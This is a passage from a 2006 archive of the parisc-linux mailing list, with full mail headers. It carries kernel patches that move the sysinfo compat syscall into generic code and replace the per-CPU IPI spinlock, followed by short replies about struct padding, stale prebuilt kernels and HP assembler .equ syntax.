-        char _f[20-2*sizeof(u32)-sizeof(int)];
-};
-
-asmlinkage long
-sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret;
-	mm_segment_t old_fs = get_fs ();
-	int bitcount = 0;
-	
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-        /* Check to see if any memory value is too large for 32-bit and scale
-	 *  down if needed
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(struct sysinfo32)) ||
-	    __put_user (s.uptime, &info->uptime) ||
-	    __put_user (s.loads[0], &info->loads[0]) ||
-	    __put_user (s.loads[1], &info->loads[1]) ||
-	    __put_user (s.loads[2], &info->loads[2]) ||
-	    __put_user (s.totalram, &info->totalram) ||
-	    __put_user (s.freeram, &info->freeram) ||
-	    __put_user (s.sharedram, &info->sharedram) ||
-	    __put_user (s.bufferram, &info->bufferram) ||
-	    __put_user (s.totalswap, &info->totalswap) ||
-	    __put_user (s.freeswap, &info->freeswap) ||
-	    __put_user (s.procs, &info->procs) ||
-	    __put_user (s.totalhigh, &info->totalhigh) || 
-	    __put_user (s.freehigh, &info->freehigh) ||
-	    __put_user (s.mem_unit, &info->mem_unit))
-		return -EFAULT;
-	return 0;
-}
-                
 asmlinkage long
 sys32_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/kernel/compat.c b/kernel/compat.c
index bce5ad4..fda0e30 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -1034,3 +1034,71 @@ asmlinkage long compat_sys_migrate_pages
 	return sys_migrate_pages(pid, nr_bits + 1, old, new);
 }
 #endif
+
+struct compat_sysinfo {
+	s32 uptime;
+	u32 loads[3];
+	u32 totalram;
+	u32 freeram;
+	u32 sharedram;
+	u32 bufferram;
+	u32 totalswap;
+	u32 freeswap;
+	u16 procs;
+	u16 pad;
+	u32 totalhigh;
+	u32 freehigh;
+	u32 mem_unit;
+	char _f[20-2*sizeof(u32)-sizeof(int)];
+};
+
+asmlinkage long
+compat_sys_sysinfo(struct compat_sysinfo __user *info)
+{
+	struct sysinfo s;
+	int ret;
+	mm_segment_t old_fs = get_fs ();
+	int bitcount = 0;
+
+	set_fs (KERNEL_DS);
+	ret = sys_sysinfo((struct sysinfo __user *)&s);
+	set_fs (old_fs);
+
+	/* Check to see if any memory value is too large for 32-bit and scale
+	 *  down if needed
+	 */
+	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
+		while (s.mem_unit < PAGE_SIZE) {
+			s.mem_unit <<= 1;
+			bitcount++;
+		}
+		s.totalram >>= bitcount;
+		s.freeram >>= bitcount;
+		s.sharedram >>= bitcount;
+		s.bufferram >>= bitcount;
+		s.totalswap >>= bitcount;
+		s.freeswap >>= bitcount;
+		s.totalhigh >>= bitcount;
+		s.freehigh >>= bitcount;
+	}
+
+	if (!access_ok(VERIFY_WRITE, info, sizeof(struct compat_sysinfo)) ||
+	    __put_user (s.uptime, &info->uptime) ||
+	    __put_user (s.loads[0], &info->loads[0]) ||
+	    __put_user (s.loads[1], &info->loads[1]) ||
+	    __put_user (s.loads[2], &info->loads[2]) ||
+	    __put_user (s.totalram, &info->totalram) ||
+	    __put_user (s.freeram, &info->freeram) ||
+	    __put_user (s.sharedram, &info->sharedram) ||
+	    __put_user (s.bufferram, &info->bufferram) ||
+	    __put_user (s.totalswap, &info->totalswap) ||
+	    __put_user (s.freeswap, &info->freeswap) ||
+	    __put_user (s.procs, &info->procs) ||
+	    __put_user (s.totalhigh, &info->totalhigh) ||
+	    __put_user (s.freehigh, &info->freehigh) ||
+	    __put_user (s.mem_unit, &info->mem_unit))
+		return -EFAULT;
+
+	return 0;
+}
+
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Generic compat_sys_sysinfo
Date: Fri, 24 Nov 2006 21:00:48 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20061125040047.GG14076@parisc-linux.org>
References: <20061125014313.GD11643@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624221 21678 80.91.229.3 (22 Nov 2014 02:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:41 +0000 (UTC)
Cc: akpm@osdl.org,
 linux-arch@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Nov 2006 04:00:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 25 Nov 2006 05:00:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9178D7D911;
	Fri, 24 Nov 2006 21:00:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01329-02; Fri, 24 Nov 2006 21:00:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 746CD7D93D;
	Fri, 24 Nov 2006 21:00:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9E2A7D910
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 21:00:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00686-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 21:00:48 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 80C277D904
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 21:00:48 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 36576494006; Fri, 24 Nov 2006 21:00:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061125014313.GD11643@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rPstAtUNa2A7W7vDOHQyveoyOWhhakfH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24110

On Fri, Nov 24, 2006 at 08:43:13PM -0500, Kyle McMartin wrote:
> Some architectures were missing the u16 pad, however, I'm going to
> guess that a u16 is aligned on a u32 boundary and thus the padding is
> implied there...

It's more that a u32 gets aligned to a u32 boundary rather than a u16.
This is true except for m68k, which doesn't have compat.

Acked-by: Matthew Wilcox <matthew@wil.cx>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Remove spinlock_t from cpu_data (and thus
	from processor.h)
Date: Sat, 25 Nov 2006 11:53:44 -0500
Lines: 80
Approved: news@gmane.org
Message-ID: <20061125165344.GA29949@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624221 21681 80.91.229.3 (22 Nov 2014 02:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Nov 2006 16:54:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 25 Nov 2006 17:54:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCE3C7D8D4;
	Sat, 25 Nov 2006 09:53:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11298-10; Sat, 25 Nov 2006 09:53:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AB187D8D9;
	Sat, 25 Nov 2006 09:53:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E77CB7D8C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 09:53:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11130-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 09:53:52 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 60BA07D8B7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 09:53:52 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D51555840A7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 11:53:51 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 278AE584095
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 11:53:51 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C659D837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Nov 2006 11:53:50 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 8069B3B06E; Sat, 25 Nov 2006 11:53:44 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HEdObbXNLi5nE/fRZWtpiX1jZml1ZNi5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24111

This should enable us to clean up our header files nicely.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index fb81e56..0af1fad 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -153,8 +153,6 @@ #endif
 	p->cpuid = cpuid;	/* save CPU id */
 	p->txn_addr = txn_addr;	/* save CPU IRQ address */
 #ifdef CONFIG_SMP
-	spin_lock_init(&p->lock);
-
 	/*
 	** FIXME: review if any other initialization is clobbered
 	**	for boot_cpu by the above memset().
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 4a23a97..5301600 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -76,6 +76,9 @@ cpumask_t cpu_possible_map __read_mostly
 EXPORT_SYMBOL(cpu_online_map);
 EXPORT_SYMBOL(cpu_possible_map);
 
+spinlock_t fencepost[NR_CPUS] = {
+	[0 ... NR_CPUS-1] = SPIN_LOCK_UNLOCKED
+};
 
 struct smp_call_struct {
 	void (*func) (void *info);
@@ -167,10 +170,11 @@ ipi_interrupt(int irq, void *dev_id) 
 	mb();	/* Order interrupt and bit testing. */
 
 	for (;;) {
-		spin_lock_irqsave(&(p->lock),flags);
+		spinlock_t *lock = &fencepost[this_cpu];
+		spin_lock_irqsave(lock, flags);
 		ops = p->pending_ipi;
 		p->pending_ipi = 0;
-		spin_unlock_irqrestore(&(p->lock),flags);
+		spin_unlock_irqrestore(lock, flags);
 
 		mb(); /* Order bit clearing and data access. */
 
@@ -275,12 +279,13 @@ static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
 	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	spinlock_t *lock = &fencepost[cpu];
 	unsigned long flags;
 
-	spin_lock_irqsave(&(p->lock),flags);
+	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
 	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
-	spin_unlock_irqrestore(&(p->lock),flags);
+	spin_unlock_irqrestore(lock, flags);
 }
 
 
diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
index fd7866d..435afe5 100644
--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -87,7 +87,6 @@ struct cpuinfo_parisc {
 	unsigned long hpa;          /* Host Physical address */
 	unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
 #ifdef CONFIG_SMP
-	spinlock_t lock;            /* synchronization for ipi's */
 	unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
 	unsigned long ipi_count;    /* number ipi Interrupts */
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Prebuilt kernels not available
Date: Sun, 26 Nov 2006 11:38:51 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <200611261138.51972.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624221 21682 80.91.229.3 (22 Nov 2014 02:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2006 10:39:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 26 Nov 2006 11:39:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E0F57D8EC;
	Sun, 26 Nov 2006 03:39:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23867-06; Sun, 26 Nov 2006 03:39:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 678EE7D8C9;
	Sun, 26 Nov 2006 03:39:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 155457D8E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 03:38:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23867-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 03:38:55 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 35A9D7D8C9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 03:38:55 -0700 (MST)
Original-Received: (qmail invoked by alias); 26 Nov 2006 10:38:53 -0000
Original-Received: from mnhm-590c0371.pool.einsundeins.de (EHLO p100.box) [89.12.3.113]
	by mail.gmx.net (mp001) with SMTP; 26 Nov 2006 11:38:53 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9VxQcKcneWU7ULeUfHVzbXk5U3U4N49B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24112

I just noticed, that we don't have any recent prebuilt kernels at the kernel download page any longer:
http://cvs.parisc-linux.org/download/linux-2.6/

It's still at 2.6.18-rc1-pa5 from July.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Sun, 26 Nov 2006 20:34:02 -0500 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <200611270134.kAR1Y2k0025862@hiauly1.hia.nrc.ca>
References: <119aab440611261406t3b221212seec90894cd57c63d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624222 21685 80.91.229.3 (22 Nov 2014 02:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:42 +0000 (UTC)
Cc: deller@gmx.de,
 dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Nov 2006 01:34:06 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx033) with SMTP; 27 Nov 2006 02:34:06 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAR1Y3xf025864;
	Sun, 26 Nov 2006 20:34:03 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAR1Y2k0025862;
	Sun, 26 Nov 2006 20:34:02 -0500 (EST)
In-Reply-To: <119aab440611261406t3b221212seec90894cd57c63d@mail.gmail.com> from "Carlos O'Donell" at Nov 26, 2006 05:06:04 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2SUYZfsLeSE5SL6WZHQhmwJ2IGRvb8BO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24113

> The GAS manual says:
> ---
> .equ symbol, expression
> This directive sets the value of symbol to expression. It is
> synonymous with `.set'; see section .set symbol, expression.
> The syntax for equ on the HPPA is `symbol .equ expression'.
> ---
> 
> This should be updated.
> 
> Have you considered the implications of your patch to porting HPUX assembly?
> Does the HPUX assembler have an .equ directive? Dave can probably
> answer that so I'll CC him.
> 
> ---
> label .reg expr
>     Synonym for .equ; define label with the absolute expression expr
> as its value.
> ---
> 
> In summary... if you provide a documentation patch I'll test this and
> submit upstream. When upstreams gives the green flag I'll check this
> into binutils head.

This needs testing on hpux.  I believe there may be problems.
The current implementation reflects the syntax for .equ using HP as.

The HP assembler only allows an integer expression which evalutes
to an absolute value.  The HP assembler prohibits the use of
relocatable labels and imported symbols as a component of a
.equ expression.  This reflected the capabilites of HP ld at
one time.  This may not reflect current capabilites.  There may
be differences between the 32 and 64-bit linkers.  I'm cautious
here as I know .set which has no HP assembler equivalent works
most of the time, but the capabilities of HP ld aren't well
documented and there are subtle issues in assigning aliases.
There are some uses of .set in the gas testsuite which run under
hpux and they seem to work at basic level.  However, the weak
alias stuff isn't useful under hpux because of the way HP ld
handles "weak" symbols.

On the otherhand, more latitude on the expression is allowed when
GNU ld is being used.  .equ is effectively a synonym for .set.  
Because of this, I haven't been too concerned about the syntax
for .equ.  There are various other directives that also follow the
HP syntax.  In summary, these probably should be changed to follow
the standard behavior under linux, etc; but I think the current
behavior should be retained under hpux.

Sorry, I haven't had a chance to look at the details of your change.
I've been busy and a few GCC targets are broken...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove spinlock_t from cpu_data (and thus
	from processor.h)
Date: Sun, 26 Nov 2006 13:37:42 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <20061126183742.GB14193@athena.road.mcmartin.ca>
References: <20061125165344.GA29949@athena.road.mcmartin.ca>
	<20061126073306.GB29213@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624222 21687 80.91.229.3 (22 Nov 2014 02:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2006 18:38:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 26 Nov 2006 19:38:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE4677D8DA;
	Sun, 26 Nov 2006 11:38:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03673-03; Sun, 26 Nov 2006 11:38:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D04727D90E;
	Sun, 26 Nov 2006 11:38:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
